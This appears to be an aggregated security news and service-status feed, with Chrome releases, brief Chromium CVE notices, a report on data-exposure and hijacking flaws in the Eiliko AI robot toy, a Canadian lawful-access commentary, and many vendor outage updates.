Read the joint Microsoft-NVIDIA paper, Risk Management for Open-Weight Models in Enterprise.
Explore the joint repository and technical resources.
Risk Management for Open-Weight Models in Enterprise was developed jointly by Microsoft and NVIDIA, with Andrew Berkley and April Chen of Microsoft and Michael Boone, Eileen Long, and Arun Rao of NVIDIA leading the development and editing of the paper.
Explore Microsoft Foundry evaluations and content-safety controls for implementation guidance.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.
The post Managing open-weight model risk in enterprise deployments appeared first on Microsoft Security Blog.
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Chrome Dev for Desktop Update

Chrome Releases · Oct 16, 3:43 PM UTC

The Dev channel has been updated to 158.0.8106.0 for Windows, Mac and Linux.
A partial list of changes is available in the Git log. Interested in switching release channels? Find out how. If you find a new issue, please let us know by filing a bug. The community help forum is also a great place to reach out for help or learn about common issues.
Chrome Release Team
Google Chrome

Read it at the source



The Lawful Access Act’s threats to  Canada’s national security

Citizen Lab · Oct 16, 3:10 PM UTC

“The assumption by government officials that technology companies can find “safe ways” to weaken critical cybersecurity protections badly misreads the current threat landscape,” argues the Citizen Lab’s Kate Robertson in a new piece for The Globe & Mail.
She warns that, if passed, the controversial Bill C-22 (“Lawful Access Act”) would empower the government to require surveillance capabilities be built into any communications technology in Canada. Everything from smartphones, smartwatches, banking apps, health apps, video game platforms, and public WiFi or CCTV networks could be accessed by law enforcement under the new bill.
The Lawful Access Act has drawn heavy criticism from tech companies, cybersecurity experts, and international standards bodies for endangering Canadians’ cybersecurity and for violating constitutional standards. 

Read the full piece in The Globe and Mail
The post The Lawful Access Act’s threats to  Canada’s national security appeared first on The Citizen Lab.
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Eiliko robot companion exposes private chats and can be hijacked

Malwarebytes Labs · Oct 16, 2:28 PM UTC

The Verge reports that Eiliko, a small AI robot companion made by Energize Lab, has serious security flaws that expose private conversations and let an attacker remotely change what the toy says.
According to The Verge, researcher Sammy Azdoufal could access 13 million conversations and what appeared to be the entire active worldwide fleet of 68,000 robots. The publication reports that the US is the largest market, with more than 31,000 profiles belonging to children there.
Azdoufal found multiple security flaws in Energize Lab’s service:
	The service analyzes conversations to build profiles containing names, ages, birthdays, relationships, occupations, and assessments of personality and emotional vulnerability. They are stored alongside email addresses, IP addresses, and searchable conversation transcripts, potentially giving scammers detailed information to exploit.
	Some photos, including apparent images of children from a related camera-equipped device, and short audio recordings were accessible at public web addresses. Retaining audio conflicts with the company’s privacy policy, which says recordings are deleted immediately after processing.
	It is possible to remotely manipulate the AI: Azdoufal altered The Verge reporter Sean Hollister’s robot’s memory and behavior, making it invent personal details, insist the Earth is flat, and later deliver sexually explicit, abusive dialogue. The researcher says similar manipulation could affect the entire fleet simultaneously.

The reporter contacted Energize Lab through 10 email addresses and LinkedIn, without receiving substantive answers.
How to stay safe
We have reported on safety problems with AI-powered toys before. Manufacturers are responsible for securing their products, but there are steps you can take to reduce the risks.
You’ll see “AI-powered” on almost everything right now, but there are ways to make safer choices.
	Already own an Eiliko? As a precaution, disconnect it from Wi-Fi while seeking confirmation that the reported flaws have been fixed.
	Always research: Check for third-party safety reviews before buying any AI-enabled product marketed for kids.
	Test and supervise: Interact with the device yourself before giving it to children. Monitor usage for odd or risky responses. A safe response during testing doesn’t guarantee safe responses later.
	Use parental controls: If available, enable all content filters and privacy protections.
	Report problems: If devices show inappropriate content, report it to manufacturers and consumer protection groups.
	Check data practices: Find out what the device collects, who it shares data with, and what it uses the information for.

But above all, remember that “smart” doesn’t mean safe. AI may be everywhere, but designers and buyers alike need to put safety, privacy, and common sense ahead of the technological wow factor. Before buying a connected toy, check how the manufacturer handles security updates, privacy, and reports of problems.

Browse like no one’s watching. 
Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free → 

Read it at the source



Chromium CVE-2026-106258: Uninitialized resource

Microsoft Security Update Guide · Oct 16, 2:00 PM UTC

This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](https://chromereleases.googleblog.com/2026) for more information.

The full piece, at the source



Chromium CVE-2026-106263: Improper input validation

Microsoft Security Update Guide · Oct 16, 2:00 PM UTC

This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](https://chromereleases.googleblog.com/2026) for more information.

The full piece, at the source



Chromium CVE-2026-106264: Missing authorization

Microsoft Security Update Guide · Oct 16, 2:00 PM UTC

This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](https://chromereleases.googleblog.com/2026) for more information.

The full piece, at the source



Chromium CVE-2026-106268: Use after free

Microsoft Security Update Guide · Oct 16, 2:00 PM UTC

This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](https://chromereleases.googleblog.com/2026) for more information.

The full piece, at the source



Chromium CVE-2026-106270: Incorrect authorization

Microsoft Security Update Guide · Oct 16, 2:00 PM UTC

This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](https://chromereleases.googleblog.com/2026) for more information.

The full piece, at the source



Rapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229)

Rapid7 · Oct 16, 1:31 PM UTC

Overview On October 12, 2026, GitLab released 19.4.2, 19.3.5, and 19.2.8 to fix CVE-2026-97229, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by joaxcar. GitLab assigned it a CVSS score of 10.0 and described possible code e…
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Meeting the ECB’s AI-Enabled Cybersecurity Supervisory Recommendations with NodeZero®

Horizon3.ai · Oct 16, 1:22 PM UTC

As AI accelerates vulnerability discovery and exploitation, financial institutions need evidence that their defenses can withstand the attack paths an adversary could actually use. This solution brief explains how NodeZero® autonomous penetration testing helps banks translate the ECB’s cybersecurity focus areas into validated exposure, prioritized remediation, and proof that fixes close…
Source

Read it at the source



Chrome Dev for Android Update

Chrome Releases · Oct 16, 1:13 PM UTC

Hi everyone! We've just released Chrome Dev 158 (158.0.8106.0) for Android. It's now available on Google Play.
You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.
If you find a new issue, please let us know by filing a bug.
Chrome Release Team
Google Chrome

Read it at the source



Rapid7 Intelligence Wins the 2026 Péter Szőr Award for Outstanding Research

Rapid7 · Oct 16, 1:00 PM UTC

Some awards you're happy to receive, while others make you stop for a moment. Receiving the 2026 Péter Szőr Award this week at Virus Bulletin in Seville for our research, BPFdoor in Telecom Networks: Sleeper Cells in the Backbone, was of the latter kind. Virus Bulletin created th…
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Inside the Hunt: Sarah Reddish

Huntress · Oct 16, 1:00 PM UTC

Go inside the hunt with Sarah Reddish, a SOC analyst on Huntress’ global SOC working in Triage & Analysis. See how she makes a difference every day.

The full piece, at the source



Outages


Service Degradation for Qwen 3.8 Max

Fireworks AI · Oct 17, 8:22 AM UTC

Resolved · 2026-10-17 08:55 UTC — We've resolved the incident and the affected service is now operational.
Investigating · 2026-10-17 08:22 UTC — We are seeing impacted performance for Qwen 3.8 Max. We are actively investigating.

Read it at the source



Service Degradation for Qwen 3.8 Max

Fireworks AI · Oct 17, 7:22 AM UTC

Resolved · 2026-10-17 07:37 UTC — We've resolved the incident and the affected service is now operational.
Investigating · 2026-10-17 07:22 UTC — We are seeing impacted performance for Qwen 3.8 Max. We are actively investigating.

Read it at the source



Project creation errors ap-ne1

Supabase · Oct 17, 6:27 AM UTC

Resolved · 2026-10-17 07:49 UTC — Service is fully restored and project creation and unpausing has been re-enabled in the ap-northeast-1 region.
Monitoring · 2026-10-17 07:16 UTC — Our upstream partner has confirmed the issue is resolved. We are working to restore project creation traffic back to the region and monitor for full recovery in ap-northeast-1.
Identified · 2026-10-17 06:27 UTC — Due to an ongoing upstream provider outage, we are remediating project creation errors in apne-1. Customers may see errors in creating or unpausing a project from this region. We are working to re-direct traffic to non-impacted regions and awaiting updates from our dependant provider.

Read it at the source



Service Degradation Affecting Zoom Chat Compose and SMS Summarisation with AI Companion

Zoom · Oct 17, 6:10 AM UTC

Resolved · 2026-10-17 06:56 UTC — This incident has been resolved and the affected services have been restored.
Monitoring · 2026-10-17 06:16 UTC — A service degradation affecting Zoom Chat Compose and SMS Summarisation with AI Companion has been successfully resolved. Our team will continue to monitor the situation closely and keep you informed of any further developments.
Identified · 2026-10-17 06:13 UTC — We have successfully identified the root cause of a service degradation affecting Zoom Chat Compose and SMS Summarisation with AI Companion. Our team is actively working on a resolution and we will keep you informed with timely updates as progress is made. Thank you for your patience.
Investigating · 2026-10-17 06:10 UTC — We are currently investigating a service degradation affecting Zoom Chat Compose and SMS Summarisation with AI Companion. Our team is actively working to identify the impact and root cause. We will provide an update as soon as more information becomes available. We appreciate your patience as we work to resolve this issue.

Read it at the source



Elevated Build Errors

Netlify · Oct 17, 5:03 AM UTC

Resolved · 2026-10-17 05:55 UTC — This incident has been resolved.
Monitoring · 2026-10-17 05:30 UTC — We've released a fix to resolve the errors for builds using the CSP extension, and we are monitoring the results.
Identified · 2026-10-17 05:03 UTC — We have identified an issue with a third-party service used by our build system. Builds started on or after 21:10 UTC that use the CSP extension may experience increased errors.

Read it at the source



Snyk Code Performance Degraded in SNYK-US-02

Snyk · Oct 17, 1:43 AM UTC

Monitoring · 2026-10-17 02:30 UTC — A fix has been successfully deployed and all systems are now operating as expected. Our team will continue to monitor the environment to ensure stability.
Investigating · 2026-10-17 02:06 UTC — We are continuing to investigate this issue.
Investigating · 2026-10-17 02:05 UTC — We are continuing to investigate this issue.
Investigating · 2026-10-17 01:43 UTC — Snyk Engineers are investigating an issue affecting Snyk Code performance including scans and PR checks in the SNYK-US-02 environment. The Snyk Incident Response has been enacted.

Read it at the source



Elevated submission error rates

Expo · Oct 17, 12:51 AM UTC

Resolved · 2026-10-17 01:43 UTC — This incident has been resolved.
Identified · 2026-10-17 00:51 UTC — The issue has been identified and a fix is being implemented.

Read it at the source



High error rate on 1Password.com

1Password · Oct 16, 11:45 PM UTC

Monitoring · 2026-10-17 03:13 UTC — A fix has been deployed and we are monitoring the results.
Investigating · 2026-10-17 00:34 UTC — We are seeing some improvements to affected services but are continuing to investigate the issue.
Investigating · 2026-10-16 23:45 UTC — We are currently investigating this issue.

Read it at the source



MMS Delivery Incident

Bandwidth · Oct 16, 9:31 PM UTC

Resolved · 2026-10-17 00:07 UTC — This incident has been resolved.
Monitoring · 2026-10-16 22:55 UTC — Bandwidth teams are observing expected messaging behavior. Upon further investigation, it was deemed messages were delayed in delivery rather than failing.
Investigating · 2026-10-16 21:31 UTC — Bandwidth teams are investigating outbound MMS messaging delivery failures due to an off network industry condition. This incident impacts delivery to Verizon Wireless, AT&T, and T-Mobile destinations.

Read it at the source



SMS Delivery Delays from a Subset of Twilio Short Codes and Long Codes to Multiple Networks in Colombia

Twilio · Oct 16, 9:13 PM UTC

Resolved · 2026-10-17 03:59 UTC — The incident has been resolved and SMS delivery from a subset of Twilio Short Codes and Long Codes to affected networks in Colombia is operating normally.
Monitoring · 2026-10-17 01:47 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia and are monitoring service stability. We will provide another update in 4 hours or as soon as more information becomes available.
Monitoring · 2026-10-16 23:42 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 22:38 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 21:27 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.
Investigating · 2026-10-16 21:13 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia. Our team is actively investigating this issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



SMS Delivery Delays from a Subset of Twilio Short Codes and Long Codes to Multiple Networks in Colombia

SendGrid · Oct 16, 9:13 PM UTC

Resolved · 2026-10-17 03:59 UTC — The incident has been resolved and SMS delivery from a subset of Twilio Short Codes and Long Codes to affected networks in Colombia is operating normally.
Monitoring · 2026-10-17 01:47 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia and are monitoring service stability. We will provide another update in 4 hours or as soon as more information becomes available.
Monitoring · 2026-10-16 23:42 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 22:38 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 21:27 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.
Investigating · 2026-10-16 21:13 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes and Long Codes to network subscribers on multiple networks in Colombia. Our team is actively investigating this issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



Metric reads and rule evaluations are degraded in mimir-prod-66

Grafana Cloud · Oct 16, 9:05 PM UTC

Resolved · 2026-10-17 01:55 UTC — This incident has been resolved.
Monitoring · 2026-10-16 23:28 UTC — We are continuing to monitor for any further issues.
Monitoring · 2026-10-16 23:27 UTC — A fix has been implemented and we are monitoring the results.
Investigating · 2026-10-16 21:08 UTC — We are continuing to investigate this issue.
Investigating · 2026-10-16 21:05 UTC — We’re currently investigating an issue affecting metrics reads and rule evaluations in mimir-prod-66. Our team is actively working to identify the cause. Thank you for your patience.

Read it at the source



Issues accessing the Cloudinary web UI

Cloudinary · Oct 16, 8:06 PM UTC

Resolved · 2026-10-16 21:53 UTC — This incident has been resolved. The UI and console, including login, is operating normally. We apologize for the inconvenience.
Monitoring · 2026-10-16 21:08 UTC — A fix has been implemented for the issue affecting the UI and console. We are now monitoring the system to ensure stability. Users who still see errors should refresh the page and log in again.
Investigating · 2026-10-16 20:06 UTC — We are currently investigating an issue affecting the Cloudinary web UI. Some users may be unable to log in or use the Console and Media Library. Our engineering team is actively working on it. Image and video delivery, uploads and API requests using API credentials are not affected. We will post another update as soon as we have more information.

Read it at the source



Programmable Video service outage

Telnyx · Oct 16, 6:21 PM UTC

Resolved · 2026-10-17 00:08 UTC — This is resolved
Monitoring · 2026-10-16 22:54 UTC — We have restored DNS responses for video.telnyx.com and deployed the service to replacement infrastructure. Successful client connections and video traffic have resumed, and we are monitoring recovery. Some customers may continue to experience connection failures for a few hours while cached DNS results expire. We are also investigating an error encountered during testing when requesting a client token; full recovery has not yet been confirmed.
Identified · 2026-10-16 18:21 UTC — [video.telnyx.com](http://video.telnyx.com "video.telnyx.com") is currently unavailable. We have identified an issue affecting the infrastructure hosting the service and are working to restore it. Recovery requires updates to our deployment process, which are in progress.

Read it at the source



Fly-metrics.net Grafana Dashboard Outage

Fly.io · Oct 16, 6:08 PM UTC

Resolved · 2026-10-16 19:24 UTC — The [fly-metrics.net](https://fly-metrics.net) hosted Grafana and log search instance is now fully reachable.
Monitoring · 2026-10-16 18:43 UTC — The [fly-metrics.net](https://fly-metrics.net) hosted Grafana and log search instance should now be reachable again. We're continuing to monitor for any issues as a result of <https://status.flyio.net/incidents/01M52RAWMVC0NKEBRDKC3VXT3K>.
Identified · 2026-10-16 18:08 UTC — The fly-metrics.net hosted grafana and log search instance is currently unreachable as a result of <https://status.flyio.net/incidents/01M52RAWMVC0NKEBRDKC3VXT3K>. It will return once the host it is on is out of maintenance, approximately 20 minutes. Logs and Metrics shipped to other sources using things like Fly Telemetry or the Fly Log shipper continue to be available, only the hosted Grafana viewer is unavailable at this time.

Read it at the source



Cloudflare Fedramp Dashboard and Access

Cloudflare · Oct 16, 5:56 PM UTC

Resolved · 2026-10-16 19:09 UTC — This incident has been resolved.
Monitoring · 2026-10-16 19:02 UTC — A fix has been implemented and we are monitoring the results.
Identified · 2026-10-16 18:47 UTC — The issue has been identified and a fix is being implemented.
Investigating · 2026-10-16 18:15 UTC — Cloudflare is investigating issues with accessing the Cloudflare Fedramp Dashboard and related Cloudflare Access services. Logging into dashboards and applications protected by Fedramp Access is impacted. These issues do not affect the serving of cached files via the Cloudflare CDN or other security features at the Edge. Cloudflare has identified the issue and is working on a fix.
Investigating · 2026-10-16 17:56 UTC — Cloudflare is investigating issues with accessing the Cloudflare Fedramp Dashboard and related Cloudflare Access services. Logging into dashboards and applications protected by Fedramp Access is impacted. These issues do not affect the serving of cached files via the Cloudflare CDN or other security features at the Edge. Cloudflare has identified the issue and is working on a fix.

Read it at the source



Some users are unable to view vault profiles using the web interface

1Password · Oct 16, 5:31 PM UTC

Resolved · 2026-10-16 17:42 UTC — A fix has been deployed and this issue is now resolved.
Identified · 2026-10-16 17:31 UTC — When choosing to view a vault profile using the web interface, a blank page is displayed instead. Our engineering team has found the root cause and are working towards deploying a fix.

Read it at the source



Delayed A2P Campaign Approvals

Twilio · Oct 16, 5:24 PM UTC

Resolved · 2026-10-16 23:00 UTC — The issue delaying campaign approvals has been resolved and A2P 10DLC campaign status is operating normally at this time.
Monitoring · 2026-10-16 22:32 UTC — A2P 10DLC campaign status is now operating normally. We will continue to monitor for system stability. We'll provide another update in 30 minutes or as soon as more information becomes available.
Identified · 2026-10-16 20:30 UTC — Our engineering team is continuing to address an issue that is preventing recently approved Campaigns from transitioning from an in-progress to approved state. We will provide another update in 4 hours, or as soon as more information becomes available.
Identified · 2026-10-16 18:33 UTC — Our engineering team is continuing to address an issue that is preventing recently approved Campaigns from transitioning from an in-progress to approved state. We will provide another update in 2 hours, or as soon as more information becomes available.
Investigating · 2026-10-16 17:33 UTC — Our engineering team has identified an issue that is preventing recently approved Campaigns from transitioning from an in-progress to approved state. We will provide another update in 1 hour, or as soon as more information becomes available.
Investigating · 2026-10-16 17:24 UTC — Our monitoring systems have detected a potential issue with A2P Campaign approvals. Our engineers have been alerted and are investigating. We will provide an update when we have more details.

Read it at the source



Delayed A2P Campaign Approvals

SendGrid · Oct 16, 5:24 PM UTC

Resolved · 2026-10-16 23:00 UTC — The issue delaying campaign approvals has been resolved and A2P 10DLC campaign status is operating normally at this time.
Monitoring · 2026-10-16 22:32 UTC — A2P 10DLC campaign status is now operating normally. We will continue to monitor for system stability. We'll provide another update in 30 minutes or as soon as more information becomes available.
Identified · 2026-10-16 20:30 UTC — Our engineering team is continuing to address an issue that is preventing recently approved Campaigns from transitioning from an in-progress to approved state. We will provide another update in 4 hours, or as soon as more information becomes available.
Identified · 2026-10-16 18:33 UTC — Our engineering team is continuing to address an issue that is preventing recently approved Campaigns from transitioning from an in-progress to approved state. We will provide another update in 2 hours, or as soon as more information becomes available.
Investigating · 2026-10-16 17:33 UTC — Our engineering team has identified an issue that is preventing recently approved Campaigns from transitioning from an in-progress to approved state. We will provide another update in 1 hour, or as soon as more information becomes available.
Investigating · 2026-10-16 17:24 UTC — Our monitoring systems have detected a potential issue with A2P Campaign approvals. Our engineers have been alerted and are investigating. We will provide an update when we have more details.

Read it at the source



[FR-PAR-1] - Failure in cooling system

Scaleway · Oct 16, 5:22 PM UTC

Resolved · 2026-10-16 18:24 UTC — This incident has been resolved.
Monitoring · 2026-10-16 17:43 UTC — Temperatures are decreasing following an intervention by our service provider.
Investigating · 2026-10-16 17:22 UTC — Servers in room 108 experience temperature increase. This lead to CPU throttling and may result into unreachable instance. We are working with our datacenter provider to fix the situation.

Read it at the source



SMS Delivery Delays and Failures from a Subset of Twilio Alphanumeric Sender IDs and Long Codes to Multiple Networks in Czech Republic

Twilio · Oct 16, 5:16 PM UTC

Monitoring · 2026-10-17 08:56 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Alphanumeric Sender IDs and Long Codes to network subscribers on multiple networks in the Czech Republic and are monitoring service stability. We will provide another update in 4 hours or as soon as more information becomes available.
Monitoring · 2026-10-17 06:49 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Alphanumeric and Long Codes to network subscribers on multiple networks in the Czech Republic and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-17 01:52 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio alphanumeric sender IDs and long codes to network subscribers on multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 8 hours or as soon as more information becomes available.
Identified · 2026-10-16 21:41 UTC — Twilio customers may be experiencing SMS delivery delays and delivery failures from a subset of Twilio Alphanumeric Sender IDs and Long Codes to multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 4 hours or as soon as more information becomes available.
Identified · 2026-10-16 19:11 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio Alphanumeric Sender IDs and Long Codes to network subscribers on multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 18:06 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio Long Codes to network subscribers on multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.
Investigating · 2026-10-16 17:16 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio Long Codes and Alphanumeric Sender IDs to network subscribers on multiple networks in the Czech Republic. Our team is actively investigating this issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



SMS Delivery Delays and Failures from a Subset of Twilio Alphanumeric Sender IDs and Long Codes to Multiple Networks in Czech Republic

SendGrid · Oct 16, 5:16 PM UTC

Monitoring · 2026-10-17 08:56 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Alphanumeric Sender IDs and Long Codes to network subscribers on multiple networks in the Czech Republic and are monitoring service stability. We will provide another update in 4 hours or as soon as more information becomes available.
Monitoring · 2026-10-17 06:49 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Alphanumeric and Long Codes to network subscribers on multiple networks in the Czech Republic and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-17 01:52 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio alphanumeric sender IDs and long codes to network subscribers on multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 8 hours or as soon as more information becomes available.
Identified · 2026-10-16 21:41 UTC — Twilio customers may be experiencing SMS delivery delays and delivery failures from a subset of Twilio Alphanumeric Sender IDs and Long Codes to multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 4 hours or as soon as more information becomes available.
Identified · 2026-10-16 19:11 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio Alphanumeric Sender IDs and Long Codes to network subscribers on multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 18:06 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio Long Codes to network subscribers on multiple networks in the Czech Republic. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.
Investigating · 2026-10-16 17:16 UTC — Twilio customers may be experiencing SMS delivery delays and failures from a subset of Twilio Long Codes and Alphanumeric Sender IDs to network subscribers on multiple networks in the Czech Republic. Our team is actively investigating this issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



SMS Delivery Receipt Delays from a Subset of Twilio Short Codes to Verizon United States

Twilio · Oct 16, 4:56 PM UTC

Resolved · 2026-10-16 20:07 UTC — The incident has been resolved and SMS delivery receipts from a subset of Twilio Short Codes to Verizon network subscribers in the United States are operating normally.
Monitoring · 2026-10-16 18:41 UTC — We have observed a recovery in SMS delivery receipts from a subset of Twilio Short Codes to Verizon network subscribers in the United States and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Monitoring · 2026-10-16 17:59 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes to Verizon network subscribers in the United States and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 16:57 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Verizon network subscribers in the United States. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.
Investigating · 2026-10-16 16:56 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Verizon network subscribers in the United States. Our team is actively investigating this issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



SMS Delivery Receipt Delays from a Subset of Twilio Short Codes to Verizon United States

SendGrid · Oct 16, 4:56 PM UTC

Resolved · 2026-10-16 20:07 UTC — The incident has been resolved and SMS delivery receipts from a subset of Twilio Short Codes to Verizon network subscribers in the United States are operating normally.
Monitoring · 2026-10-16 18:41 UTC — We have observed a recovery in SMS delivery receipts from a subset of Twilio Short Codes to Verizon network subscribers in the United States and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Monitoring · 2026-10-16 17:59 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes to Verizon network subscribers in the United States and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 16:57 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Verizon network subscribers in the United States. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.
Investigating · 2026-10-16 16:56 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Verizon network subscribers in the United States. Our team is actively investigating this issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



Platform Wide Rolling Host Reboots

Fly.io · Oct 16, 4:22 PM UTC

Resolved · 2026-10-17 05:15 UTC — All host restarts have been completed and the platform is operating normally. A small number of hosts remain degraded or offline for apps and for MPG. Those impacted can see further updates on the personalized status page viewable at <https://fly.io/status>
Monitoring · 2026-10-17 03:48 UTC — All host restarts have been completed and we are monitoring the fleet health. A small number of hosts remain degraded or offline for apps and for MPG. Those impacted can see this status on the personalized status page viewable at <https://fly.io/status>
Identified · 2026-10-17 02:41 UTC — As a mitigation measure for PwnEscape (Linux Kernel CVE-2026-99999), host restarts are continuing in phases across all regions. At this point, more than 95% of the fleet has been restarted. The remaining hosts are expected to be restarted over the next 30m. Only a subset of hosts in each region will be down at each time. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. MPG users will likely see elevated primary <> standby switchovers during this period. Impacted MPG clusters are being attended to by the team. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-17 02:17 UTC — As a mitigation measure for PwnEscape (Linux Kernel CVE-2026-99999), host restarts are continuing in phases across all regions. At this point, more than 95% of the fleet has been restarted. The remaining hosts are expected to be restarted over the next 1h30m. Only a subset of hosts in each region will be down at each time. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. MPG users will likely see elevated primary <> standby switchovers during this period. Impacted MPG clusters are being attended to by the team. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-17 01:43 UTC — As a mitigation measure for PwnEscape (Linux Kernel CVE-2026-99999), host restarts are continuing in phases across all regions. At this point, more than 95% of the fleet has been restarted. The remaining hosts are expected to be restarted over the next 1h40m. Only a subset of hosts in each region will be down at each time. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. MPG users will likely see elevated primary <> standby switchovers during this period. Impacted MPG clusters are being attended to by the team. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-17 01:11 UTC — As a mitigation measure for PwnEscape (Linux Kernel CVE-2026-99999), host restarts are continuing in phases across all regions. At this point, more than 90% of the fleet has been restarted. The remaining hosts are expected to be restarted over the next 2h. Only a subset of hosts in each region will be down at each time. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. MPG users will likely see elevated primary <> standby switchovers during this period. Impacted MPG clusters are being attended to by the team. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-17 00:45 UTC — As a mitigation measure for PwnEscape (Linux Kernel CVE-2026-99999), host restarts are continuing in phases across all regions. At this point, more than 90% of the fleet has been restarted. The remaining hosts are expected to be restarted over the next 2h30m. Only a subset of hosts in each region will be down at each time. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. MPG users will likely see elevated primary <> standby switchovers during this period. Impacted MPG clusters are being attended to by the team. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-17 00:05 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 90% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We
